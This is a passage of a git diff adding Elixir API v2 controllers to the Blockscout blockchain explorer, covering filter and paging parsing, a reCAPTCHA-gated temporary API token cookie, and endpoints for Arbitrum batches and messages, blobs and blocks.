:methods, methods: [%{method_id: identifier, name: name}]) + + _ -> + render(conn, :methods, methods: []) + end + end + end + + def list_methods(conn, _params) do + render(conn, :methods, methods: @methods) + end + + defp method_id_to_name_from_params(prepared_method_ids, decoded_transactions) do + {decoded_method_ids, method_ids_to_find} = + Enum.reduce(prepared_method_ids, {%{}, []}, fn method_id, {decoded, to_decode} -> + {:ok, method_id_hash} = Data.cast(method_id) + trimmed_method_id = method_id_hash.bytes |> Base.encode16(case: :lower) + + case {Map.get(@methods_id_to_name_map, method_id), + decoded_transactions |> Enum.find(&match?({:ok, ^trimmed_method_id, _, _}, &1))} do + {name, _} when is_binary(name) -> + {Map.put(decoded, method_id, name), to_decode} + + {_, {:ok, _, function_signature, _}} when is_binary(function_signature) -> + {Map.put(decoded, method_id, function_signature |> String.split("(") |> Enum.at(0)), to_decode} + + {nil, nil} -> + {decoded, [method_id_hash.bytes | to_decode]} + end + end) + + method_ids_to_find + |> ContractMethod.find_contract_methods(@api_true) + |> Enum.reduce(%{}, fn contract_method, acc -> + case contract_method do + %ContractMethod{abi: %{"name" => name}, identifier: identifier} when is_binary(name) -> + Map.put(acc, identifier, name) + + _ -> + acc + end + end) + |> Map.merge(decoded_method_ids) + end + + defp contract_address_hash_to_token_from_params(tokens) do + token_contract_address_hashes_to_include = tokens[:include] || [] + + token_contract_address_hashes_to_exclude = tokens[:exclude] || [] + + token_contract_address_hashes_to_include + |> Kernel.++(token_contract_address_hashes_to_exclude) + |> Enum.reject(&(&1 == "native")) + |> Enum.uniq() + |> Enum.take(@tokens_filter_limit) + |> Token.get_by_contract_address_hashes(@token_options) + |> Map.new(fn token -> {token.contract_address_hash, token} end) + end + + defp extract_filters(params) do + [ + transaction_types: prepare_transaction_types(params["transaction_types"]), + methods: params["methods"] |> prepare_methods(), + age: prepare_age(params["age_from"], params["age_to"]), + from_address_hashes: + prepare_include_exclude_address_hashes( + params["from_address_hashes_to_include"], + params["from_address_hashes_to_exclude"], + &prepare_address_hash/1 + ), + to_address_hashes: + prepare_include_exclude_address_hashes( + params["to_address_hashes_to_include"], + params["to_address_hashes_to_exclude"], + &prepare_address_hash/1 + ), + address_relation: prepare_address_relation(params["address_relation"]), + amount: prepare_amount(params["amount_from"], params["amount_to"]), + token_contract_address_hashes: + params["token_contract_address_hashes_to_include"] + |> prepare_include_exclude_address_hashes( + params["token_contract_address_hashes_to_exclude"], + &prepare_token_address_hash/1 + ) + |> Enum.map(fn + {key, value} when is_list(value) -> {key, Enum.take(value, @tokens_filter_limit)} + key_value -> key_value + end) + ] + end + + @allowed_transaction_types ~w(COIN_TRANSFER ERC-20 ERC-404 ERC-721 ERC-1155) + + defp prepare_transaction_types(transaction_types) when is_binary(transaction_types) do + transaction_types + |> String.upcase() + |> String.split(",") + |> Enum.filter(&(&1 in @allowed_transaction_types)) + end + + defp prepare_transaction_types(_), do: nil + + defp prepare_methods(methods) when is_binary(methods) do + methods + |> String.downcase() + |> String.split(",") + |> Enum.filter(fn + "0x" <> method_id when byte_size(method_id) == 8 -> + case Base.decode16(method_id, case: :mixed) do + {:ok, _} -> true + _ -> false + end + + _ -> + false + end) + |> Enum.uniq() + |> Enum.take(@methods_filter_limit) + end + + defp prepare_methods(_), do: nil + + defp prepare_age(from, to), do: [from: parse_date(from), to: parse_date(to)] + + defp parse_date(string_date) do + case string_date && DateTime.from_iso8601(string_date) do + {:ok, date, _utc_offset} -> date + _ -> nil + end + end + + defp prepare_address_hashes(address_hashes, map_filter_function) + when is_binary(address_hashes) do + address_hashes + |> String.split(",") + |> Enum.flat_map(&map_filter_function.(&1)) + end + + defp prepare_address_hashes(_, _), do: nil + + defp prepare_address_hash(maybe_address_hash) do + case Chain.string_to_address_hash(maybe_address_hash) do + {:ok, address_hash} -> [address_hash] + _ -> [] + end + end + + defp prepare_token_address_hash(token_address_hash) do + case String.downcase(token_address_hash) do + "native" -> ["native"] + _ -> prepare_address_hash(token_address_hash) + end + end + + defp prepare_address_relation(relation) do + case relation && String.downcase(relation) do + r when r in [nil, "or"] -> :or + "and" -> :and + _ -> nil + end + end + + defp prepare_amount(from, to), do: [from: parse_decimal(from), to: parse_decimal(to)] + + defp parse_decimal(string_decimal) do + case string_decimal && Decimal.parse(string_decimal) do + {decimal, ""} -> decimal + _ -> nil + end + end + + defp prepare_include_exclude_address_hashes(include, exclude, map_filter_function) do + [ + include: prepare_address_hashes(include, map_filter_function), + exclude: prepare_address_hashes(exclude, map_filter_function) + ] + end + + # Paging + + defp paging_options(%{ + "block_number" => block_number_string, + "transaction_index" => transaction_index_string, + "internal_transaction_index" => internal_transaction_index_string, + "token_transfer_index" => token_transfer_index_string, + "token_transfer_batch_index" => token_transfer_batch_index_string + }) do + with {block_number, ""} <- block_number_string && Integer.parse(block_number_string), + {transaction_index, ""} <- transaction_index_string && Integer.parse(transaction_index_string), + {:ok, internal_transaction_index} <- + parse_nullable_integer_paging_parameter(internal_transaction_index_string), + {:ok, token_transfer_index} <- parse_nullable_integer_paging_parameter(token_transfer_index_string), + {:ok, token_transfer_batch_index} <- parse_nullable_integer_paging_parameter(token_transfer_batch_index_string) do + [ + paging_options: %{ + default_paging_options() + | key: %{ + block_number: block_number, + transaction_index: transaction_index, + internal_transaction_index: internal_transaction_index, + token_transfer_index: token_transfer_index, + token_transfer_batch_index: token_transfer_batch_index + } + } + ] + else + _ -> [paging_options: default_paging_options()] + end + end + + defp paging_options(_), do: [paging_options: default_paging_options()] + + defp parse_nullable_integer_paging_parameter(""), do: {:ok, nil} + defp parse_nullable_integer_paging_parameter("null"), do: {:ok, nil} + + defp parse_nullable_integer_paging_parameter(string) when is_binary(string) do + case Integer.parse(string) do + {integer, ""} -> {:ok, integer} + _ -> {:error, :invalid_paging_parameter} + end + end + + defp parse_nullable_integer_paging_parameter(_), do: {:error, :invalid_paging_parameter} + + defp paging_params(%AdvancedFilter{ + block_number: block_number, + transaction_index: transaction_index, + internal_transaction_index: internal_transaction_index, + token_transfer_index: token_transfer_index, + token_transfer_batch_index: token_transfer_batch_index + }) do + %{ + block_number: block_number, + transaction_index: transaction_index, + internal_transaction_index: internal_transaction_index, + token_transfer_index: token_transfer_index, + token_transfer_batch_index: token_transfer_batch_index + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/api_key_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/api_key_controller.ex new file mode 100644 index 000000000000..6d23516eee70 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/api_key_controller.ex @@ -0,0 +1,31 @@ +defmodule BlockScoutWeb.API.V2.APIKeyController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, api_v2_temp_token_key: [:block_scout_web, :api_v2_temp_token_key] + + alias BlockScoutWeb.{AccessHelper, CaptchaHelper} + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + plug(:fetch_cookies, signed: [@api_v2_temp_token_key]) + + @doc """ + Function to handle POST requests to `/api/v2/key` endpoint. It expects body with `recaptcha_response`. And puts cookie with temporary API v2 token. Which is handled here: https://github.com/blockscout/blockscout/blob/cd19739347f267d8a6ad81bbba2dbdad08bcc134/apps/block_scout_web/lib/block_scout_web/views/access_helper.ex#L170 + """ + @spec get_key(Plug.Conn.t(), nil | map) :: {:recaptcha, any} | Plug.Conn.t() + def get_key(conn, params) do + ttl = div(Application.get_env(:block_scout_web, :api_rate_limit)[:api_v2_token_ttl], 1000) + + with {:recaptcha, true} <- {:recaptcha, CaptchaHelper.recaptcha_passed?(params)} do + conn + |> put_resp_cookie(@api_v2_temp_token_key, %{ip: AccessHelper.conn_to_ip_string(conn)}, + max_age: ttl, + sign: true, + same_site: "Lax", + domain: Application.get_env(:block_scout_web, :cookie_domain) + ) + |> json(%{ + message: "OK" + }) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/arbitrum_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/arbitrum_controller.ex new file mode 100644 index 000000000000..54a18765eff3 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/arbitrum_controller.ex @@ -0,0 +1,333 @@ +defmodule BlockScoutWeb.API.V2.ArbitrumController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 4, + paging_options: 1, + split_list_by_page: 1, + parse_block_hash_or_number_param: 1 + ] + + import Explorer.Chain.Arbitrum.DaMultiPurposeRecord.Helper, only: [calculate_celestia_data_key: 2] + + alias Explorer.Arbitrum.ClaimRollupMessage + alias Explorer.Chain.Arbitrum.{L1Batch, Message} + alias Explorer.Chain.Hash + alias Explorer.PagingOptions + + alias Explorer.Chain.Arbitrum.Reader.API.Messages, as: MessagesReader + alias Explorer.Chain.Arbitrum.Reader.API.Settlement, as: SettlementReader + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @batch_necessity_by_association %{:commitment_transaction => :required} + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/messages/:direction` endpoint. + """ + @spec messages(Plug.Conn.t(), map()) :: Plug.Conn.t() + def messages(conn, %{"direction" => direction} = params) do + options = + params + |> paging_options() + + {messages, next_page} = + direction + |> MessagesReader.messages(options) + |> split_list_by_page() + + next_page_params = + next_page_params( + next_page, + messages, + params, + fn %Message{message_id: message_id} -> %{"id" => message_id} end + ) + + conn + |> put_status(200) + |> render(:arbitrum_messages, %{ + messages: messages, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/messages/:direction/count` endpoint. + """ + @spec messages_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def messages_count(conn, %{"direction" => direction} = _params) do + conn + |> put_status(200) + |> render(:arbitrum_messages_count, %{count: MessagesReader.messages_count(direction)}) + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/messages/claim/:message_id` endpoint. + """ + @spec claim_message(Plug.Conn.t(), map()) :: Plug.Conn.t() + def claim_message(conn, %{"message_id" => message_id} = _params) do + message_id = String.to_integer(message_id) + + case ClaimRollupMessage.claim(message_id) do + {:ok, [contract_address: outbox_contract_address, calldata: calldata]} -> + conn + |> put_status(200) + |> render(:arbitrum_claim_message, %{calldata: calldata, address: outbox_contract_address}) + + {:error, :not_found} -> + conn + |> put_status(:not_found) + |> render(:message, %{message: "cannot find requested withdrawal"}) + + {:error, :sent} -> + conn + |> put_status(:bad_request) + |> render(:message, %{message: "withdrawal is unconfirmed yet"}) + + {:error, :initiated} -> + conn + |> put_status(:bad_request) + |> render(:message, %{message: "withdrawal is just initiated, please wait a bit"}) + + {:error, :relayed} -> + conn + |> put_status(:bad_request) + |> render(:message, %{message: "withdrawal was executed already"}) + + {:error, :internal_error} -> + conn + |> put_status(:not_found) + |> render(:message, %{message: "internal error occurred"}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/messages/withdrawals/:transaction_hash` endpoint. + """ + @spec withdrawals(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals(conn, %{"transaction_hash" => transaction_hash} = _params) do + hash = + case Hash.Full.cast(transaction_hash) do + {:ok, address} -> address + _ -> nil + end + + withdrawals = ClaimRollupMessage.transaction_to_withdrawals(hash) + + conn + |> put_status(200) + |> render(:arbitrum_withdrawals, %{withdrawals: withdrawals}) + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/batches/:batch_number` endpoint. + """ + @spec batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch(conn, %{"batch_number" => batch_number} = _params) do + case SettlementReader.batch(batch_number, necessity_by_association: @batch_necessity_by_association) do + {:ok, batch} -> + conn + |> put_status(200) + |> render(:arbitrum_batch, %{batch: batch}) + + {:error, :not_found} = res -> + res + end + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/batches/da/:data_hash` or + `/api/v2/arbitrum/batches/da/:transaction_commitment/:height` endpoints. + + For AnyTrust data hash, the function can be called in two ways: + 1. Without type parameter - returns the most recent batch for the data hash + 2. With type=all parameter - returns all batches for the data hash + + ## Parameters + - `conn`: The connection struct + - `params`: A map that may contain: + * `data_hash` - The AnyTrust data hash + * `transaction_commitment` and `height` - For Celestia data + * `type` - Optional parameter to specify return type ("all" for all batches) + """ + @spec batch_by_data_availability_info(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch_by_data_availability_info(conn, %{"data_hash" => data_hash} = params) do + # In case of AnyTrust, `data_key` is the hash of the data itself + case Map.get(params, "type") do + "all" -> all_batches_by_data_availability_info(conn, data_hash, params) + _ -> one_batch_by_data_availability_info(conn, data_hash, params) + end + end + + def batch_by_data_availability_info( + conn, + %{"transaction_commitment" => transaction_commitment, "height" => height} = _params + ) do + # In case of Celestia, `data_key` is the hash of the height and the commitment hash + with {:ok, :hash, transaction_commitment_hash} <- parse_block_hash_or_number_param(transaction_commitment), + key <- calculate_celestia_data_key(height, transaction_commitment_hash) do + case SettlementReader.get_da_record_by_data_key(key) do + {:ok, {batch_number, _}} -> + batch(conn, %{"batch_number" => batch_number}) + + {:error, :not_found} = res -> + res + end + else + res -> + res + end + end + + # Gets the most recent batch associated with the given DA blob hash. + # + # ## Parameters + # - `conn`: The connection struct + # - `data_hash`: The AnyTrust data hash + # - `params`: The original request parameters + # + # ## Returns + # - The connection struct with rendered response + @spec one_batch_by_data_availability_info(Plug.Conn.t(), binary(), map()) :: Plug.Conn.t() + defp one_batch_by_data_availability_info(conn, data_hash, _params) do + case SettlementReader.get_da_record_by_data_key(data_hash) do + {:ok, {batch_number, _}} -> + batch(conn, %{"batch_number" => batch_number}) + + {:error, :not_found} = res -> + res + end + end + + # Gets all batches associated with the given DA blob hash. + # + # ## Parameters + # - `conn`: The connection struct + # - `data_hash`: The AnyTrust data hash + # - `params`: The original request parameters (for pagination) + # + # ## Returns + # - The connection struct with rendered response + @spec all_batches_by_data_availability_info(Plug.Conn.t(), binary(), map()) :: Plug.Conn.t() + defp all_batches_by_data_availability_info(conn, data_hash, params) do + case SettlementReader.get_all_da_records_by_data_key(data_hash) do + {:ok, {batch_numbers, _}} -> + params = Map.put(params, "batch_numbers", batch_numbers) + batches(conn, params) + + {:error, :not_found} = res -> + res + end + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/batches/count` endpoint. + """ + @spec batches_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_count(conn, _params) do + conn + |> put_status(200) + |> render(:arbitrum_batches_count, %{count: SettlementReader.batches_count()}) + end + + @doc """ + Function to handle GET requests to `/api/v2/arbitrum/batches` endpoint. + + The function can be called in two ways: + 1. Without batch_numbers parameter - returns batches according to pagination parameters + 2. With batch_numbers parameter - returns only batches with specified numbers, still applying pagination + + ## Parameters + - `conn`: The connection struct + - `params`: A map that may contain: + * `batch_numbers` - Optional list of specific batch numbers to retrieve + * Standard pagination parameters + """ + @spec batches(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches(conn, params) do + {batches, next_page} = + params + |> paging_options() + |> maybe_add_batch_numbers(params) + |> Keyword.put(:necessity_by_association, @batch_necessity_by_association) + |> SettlementReader.batches() + |> split_list_by_page() + + next_page_params = + next_page_params( + next_page, + batches, + params, + fn %L1Batch{number: number} -> %{"number" => number} end + ) + + conn + |> put_status(200) + |> render(:arbitrum_batches, %{ + batches: batches, + next_page_params: next_page_params + }) + end + + # Adds batch_numbers to options if they are present in params. + # + # ## Parameters + # - `options`: The keyword list of options to potentially extend + # - `params`: The params map that may contain batch_numbers + # + # ## Returns + # - The options keyword list, potentially extended with batch_numbers + @spec maybe_add_batch_numbers(Keyword.t(), map()) :: Keyword.t() + defp maybe_add_batch_numbers(options, %{"batch_numbers" => batch_numbers}) when is_list(batch_numbers) do + Keyword.put(options, :batch_numbers, batch_numbers) + end + + defp maybe_add_batch_numbers(options, _params), do: options + + @doc """ + Function to handle GET requests to `/api/v2/main-page/arbitrum/batches/committed` endpoint. + """ + @spec batches_committed(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_committed(conn, _params) do + batches = + [] + |> Keyword.put(:necessity_by_association, @batch_necessity_by_association) + |> Keyword.put(:committed?, true) + |> SettlementReader.batches() + + conn + |> put_status(200) + |> render(:arbitrum_batches, %{batches: batches}) + end + + @doc """ + Function to handle GET requests to `/api/v2/main-page/arbitrum/batches/latest-number` endpoint. + """ + @spec batch_latest_number(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch_latest_number(conn, _params) do + conn + |> put_status(200) + |> render(:arbitrum_batch_latest_number, %{number: batch_latest_number()}) + end + + defp batch_latest_number do + case SettlementReader.batch(:latest) do + {:ok, batch} -> batch.number + {:error, :not_found} -> 0 + end + end + + @doc """ + Function to handle GET requests to `/api/v2/main-page/arbitrum/messages/to-rollup` endpoint. + """ + @spec recent_messages_to_l2(Plug.Conn.t(), map()) :: Plug.Conn.t() + def recent_messages_to_l2(conn, _params) do + messages = MessagesReader.relayed_l1_to_l2_messages(paging_options: %PagingOptions{page_size: 6}) + + conn + |> put_status(200) + |> render(:arbitrum_messages, %{messages: messages}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/blob_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/blob_controller.ex new file mode 100644 index 000000000000..f66c8c45107a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/blob_controller.ex @@ -0,0 +1,32 @@ +defmodule BlockScoutWeb.API.V2.BlobController do + use BlockScoutWeb, :controller + + alias Explorer.Chain + alias Explorer.Chain.Beacon.{Blob, Reader} + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/blobs/:blob_hash_param` endpoint. + """ + @spec blob(Plug.Conn.t(), map()) :: Plug.Conn.t() + def blob(conn, %{"blob_hash_param" => blob_hash_string} = _params) do + with {:format, {:ok, blob_hash}} <- {:format, Chain.string_to_full_hash(blob_hash_string)} do + transaction_hashes = Reader.blob_hash_to_transactions(blob_hash, api?: true) + + {status, blob} = + case Reader.blob(blob_hash, true, api?: true) do + {:ok, blob} -> {:ok, blob} + {:error, :not_found} -> {:pending, %Blob{hash: blob_hash}} + end + + if Enum.empty?(transaction_hashes) and status == :pending do + {:error, :not_found} + else + conn + |> put_status(200) + |> render(:blob, %{blob: blob, transaction_hashes: transaction_hashes}) + end + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/block_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/block_controller.ex new file mode 100644 index 000000000000..7adf7e610d59 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/block_controller.ex @@ -0,0 +1,488 @@ +defmodule BlockScoutWeb.API.V2.BlockController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + next_page_params: 4, + paging_options: 1, + param_to_block_number: 1, + put_key_value_to_paging_options: 3, + split_list_by_page: 1, + parse_block_hash_or_number_param: 1 + ] + + import BlockScoutWeb.PagingHelper, + only: [ + select_block_type: 1, + type_filter_options: 1, + internal_transaction_type_options: 1, + internal_transaction_call_type_options: 1 + ] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + alias BlockScoutWeb.API.V2.{ + Ethereum.DepositController, + Ethereum.DepositView, + TransactionView, + WithdrawalView + } + + alias Explorer.Chain + alias Explorer.Chain.Arbitrum.Reader.API.Settlement, as: ArbitrumSettlementReader + alias Explorer.Chain.Beacon.Deposit + alias Explorer.Chain.Cache.{BlockNumber, Counters.AverageBlockTime} + alias Explorer.Chain.InternalTransaction + alias Explorer.Chain.Optimism.TransactionBatch, as: OptimismTransactionBatch + alias Explorer.Chain.Scroll.Reader, as: ScrollReader + alias Timex.Duration + + case @chain_type do + :ethereum -> + @chain_type_transaction_necessity_by_association %{ + :beacon_blob_transaction => :optional + } + @chain_type_block_necessity_by_association %{ + [transactions: :beacon_blob_transaction] => :optional, + :beacon_deposits => :optional + } + + :optimism -> + @chain_type_transaction_necessity_by_association %{} + @chain_type_block_necessity_by_association %{ + :op_frame_sequence => :optional + } + + :zksync -> + @chain_type_transaction_necessity_by_association %{} + @chain_type_block_necessity_by_association %{ + :zksync_batch => :optional, + :zksync_commit_transaction => :optional, + :zksync_prove_transaction => :optional, + :zksync_execute_transaction => :optional + } + + :celo -> + @chain_type_transaction_necessity_by_association %{ + [gas_token: reputation_association()] => :optional + } + @chain_type_block_necessity_by_association %{} + + :arbitrum -> + @chain_type_transaction_necessity_by_association %{} + @chain_type_block_necessity_by_association %{ + :arbitrum_batch => :optional, + :arbitrum_commitment_transaction => :optional, + :arbitrum_confirmation_transaction => :optional + } + + :zilliqa -> + @chain_type_transaction_necessity_by_association %{} + @chain_type_block_necessity_by_association %{ + :zilliqa_quorum_certificate => :optional, + :zilliqa_aggregate_quorum_certificate => :optional, + [zilliqa_aggregate_quorum_certificate: [:nested_quorum_certificates]] => :optional + } + + _ -> + @chain_type_transaction_necessity_by_association %{} + @chain_type_block_necessity_by_association %{} + end + + @transaction_necessity_by_association [ + necessity_by_association: + %{ + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + :block => :optional + } + |> Map.merge(@chain_type_transaction_necessity_by_association) + ] + + @internal_transaction_necessity_by_association [ + necessity_by_association: %{ + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + + @api_true [api?: true] + + @block_params [ + necessity_by_association: + %{ + [miner: [:names, :smart_contract, proxy_implementations_association()]] => :optional, + :uncles => :optional, + :nephews => :optional, + :rewards => :optional, + :transactions => :optional, + :withdrawals => :optional, + :internal_transactions => :optional + } + |> Map.merge(@chain_type_block_necessity_by_association), + api?: true + ] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/blocks/:block_hash_or_number` endpoint. + """ + @spec block(Plug.Conn.t(), map()) :: + {:error, :not_found | {:invalid, :hash | :number}} + | {:lost_consensus, {:error, :not_found} | {:ok, Explorer.Chain.Block.t()}} + | Plug.Conn.t() + def block(conn, %{"block_hash_or_number" => block_hash_or_number}) do + with {:ok, block} <- block_param_to_block(block_hash_or_number, @block_params) do + conn + |> put_status(200) + |> render(:block, %{block: block}) + end + end + + defp fetch_block(:hash, hash, params) do + Chain.hash_to_block(hash, params) + end + + defp fetch_block(:number, number, params) do + case Chain.number_to_block(number, params) do + {:ok, _block} = ok_response -> + ok_response + + _ -> + {:lost_consensus, Chain.nonconsensus_block_by_number(number, @api_true)} + end + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks` endpoint. + """ + @spec blocks(Plug.Conn.t(), any()) :: Plug.Conn.t() + def blocks(conn, params) do + full_options = select_block_type(params) + + blocks_plus_one = + full_options + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + |> Chain.list_blocks() + + {blocks, next_page} = split_list_by_page(blocks_plus_one) + + next_page_params = next_page |> next_page_params(blocks, params) + + conn + |> put_status(200) + |> render(:blocks, %{ + blocks: blocks |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/arbitrum-batch/:batch_number` endpoint. + It renders the list of L2 blocks bound to the specified batch. + """ + @spec arbitrum_batch(Plug.Conn.t(), any()) :: Plug.Conn.t() + def arbitrum_batch(conn, %{"batch_number" => batch_number} = params) do + full_options = + params + |> select_block_type() + |> Keyword.merge(paging_options(params)) + + {blocks, next_page} = + batch_number + |> ArbitrumSettlementReader.batch_blocks(full_options) + |> split_list_by_page() + + next_page_params = next_page |> next_page_params(blocks, params) + + conn + |> put_status(200) + |> render(:blocks, %{ + blocks: blocks |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/optimism-batch/:batch_number` endpoint. + It renders the list of L2 blocks bound to the specified batch. + """ + @spec optimism_batch(Plug.Conn.t(), any()) :: Plug.Conn.t() + def optimism_batch(conn, %{"batch_number" => batch_number} = params) do + full_options = + params + |> select_block_type() + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + + {blocks, next_page} = + batch_number + |> OptimismTransactionBatch.batch_blocks(full_options) + |> split_list_by_page() + + next_page_params = next_page |> next_page_params(blocks, params) + + conn + |> put_status(200) + |> render(:blocks, %{ + blocks: blocks |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/scroll-batch/:batch_number` endpoint. + It renders the list of L2 blocks bound to the specified batch. + """ + @spec scroll_batch(Plug.Conn.t(), any()) :: Plug.Conn.t() + def scroll_batch(conn, %{"batch_number" => batch_number} = params) do + full_options = + params + |> select_block_type() + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + + {blocks, next_page} = + batch_number + |> ScrollReader.batch_blocks(full_options) + |> split_list_by_page() + + next_page_params = next_page |> next_page_params(blocks, params) + + conn + |> put_status(200) + |> render(:blocks, %{ + blocks: blocks |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/:block_hash_or_number/transactions` endpoint. + """ + @spec transactions(Plug.Conn.t(), map()) :: + {:error, :not_found | {:invalid, :hash | :number}} + | {:lost_consensus, {:error, :not_found} | {:ok, Explorer.Chain.Block.t()}} + | Plug.Conn.t() + def transactions(conn, %{"block_hash_or_number" => block_hash_or_number} = params) do + with {:ok, block} <- block_param_to_block(block_hash_or_number) do + full_options = + @transaction_necessity_by_association + |> Keyword.merge(put_key_value_to_paging_options(paging_options(params), :is_index_in_asc_order, true)) + |> Keyword.merge(type_filter_options(params)) + |> Keyword.merge(@api_true) + + transactions_plus_one = Chain.block_to_transactions(block.hash, full_options, false) + + {transactions, next_page} = split_list_by_page(transactions_plus_one) + + next_page_params = + next_page + |> next_page_params(transactions, params) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/:block_hash_or_number/internal-transactions` endpoint. + Query params: + - `type` - Filters internal transactions by type. Possible values: (#{Explorer.Chain.InternalTransaction.Type.values()}) + - `call_type` - Filters internal transactions by call type. Possible values: (#{Explorer.Chain.InternalTransaction.CallType.values()}) + These two filters are mutually exclusive. If both are set, call_type takes priority, and type will be ignored. + """ + @spec internal_transactions(Plug.Conn.t(), map()) :: + {:error, :not_found | {:invalid, :hash | :number}} + | {:lost_consensus, {:error, :not_found} | {:ok, Explorer.Chain.Block.t()}} + | Plug.Conn.t() + def internal_transactions(conn, %{"block_hash_or_number" => block_hash_or_number} = params) do + with {:ok, block} <- block_param_to_block(block_hash_or_number) do + full_options = + @internal_transaction_necessity_by_association + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + |> Keyword.merge(internal_transaction_type_options(params)) + |> Keyword.merge(internal_transaction_call_type_options(params)) + + internal_transactions_plus_one = InternalTransaction.block_to_internal_transactions(block.hash, full_options) + + {internal_transactions, next_page} = split_list_by_page(internal_transactions_plus_one) + + next_page_params = + next_page + |> next_page_params( + internal_transactions, + params, + &InternalTransaction.internal_transaction_to_block_paging_options/1 + ) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:internal_transactions, %{ + internal_transactions: internal_transactions, + next_page_params: next_page_params, + block: block + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/:block_hash_or_number/withdrawals` endpoint. + """ + @spec withdrawals(Plug.Conn.t(), map()) :: + {:error, :not_found | {:invalid, :hash | :number}} + | {:lost_consensus, {:error, :not_found} | {:ok, Explorer.Chain.Block.t()}} + | Plug.Conn.t() + def withdrawals(conn, %{"block_hash_or_number" => block_hash_or_number} = params) do + with {:ok, block} <- block_param_to_block(block_hash_or_number) do + full_options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_association()]] => :optional + }, + api?: true + ] + |> Keyword.merge(paging_options(params)) + + withdrawals_plus_one = Chain.block_to_withdrawals(block.hash, full_options) + {withdrawals, next_page} = split_list_by_page(withdrawals_plus_one) + + next_page_params = next_page |> next_page_params(withdrawals, params) + + conn + |> put_status(200) + |> put_view(WithdrawalView) + |> render(:withdrawals, %{ + withdrawals: withdrawals |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/blocks/:block_number/countdown` endpoint. + Calculates the estimated time remaining until a specified block number is reached + based on the current block number and average block time. + + ## Parameters + - `conn`: The connection struct + - `params`: Map containing the target block number + + ## Returns + - Renders countdown data with current block, target block, remaining blocks, and estimated time + - Returns appropriate error responses via fallback controller for various failure cases + """ + @spec block_countdown(Plug.Conn.t(), map()) :: + Plug.Conn.t() + | {:format, {:error, :invalid}} + | {:max_block, nil} + | {:average_block_time, {:error, :disabled}} + | {:remaining_blocks, 0} + def block_countdown(conn, %{"block_number" => block_number}) do + with {:format, {:ok, target_block_number}} <- {:format, param_to_block_number(block_number)}, + 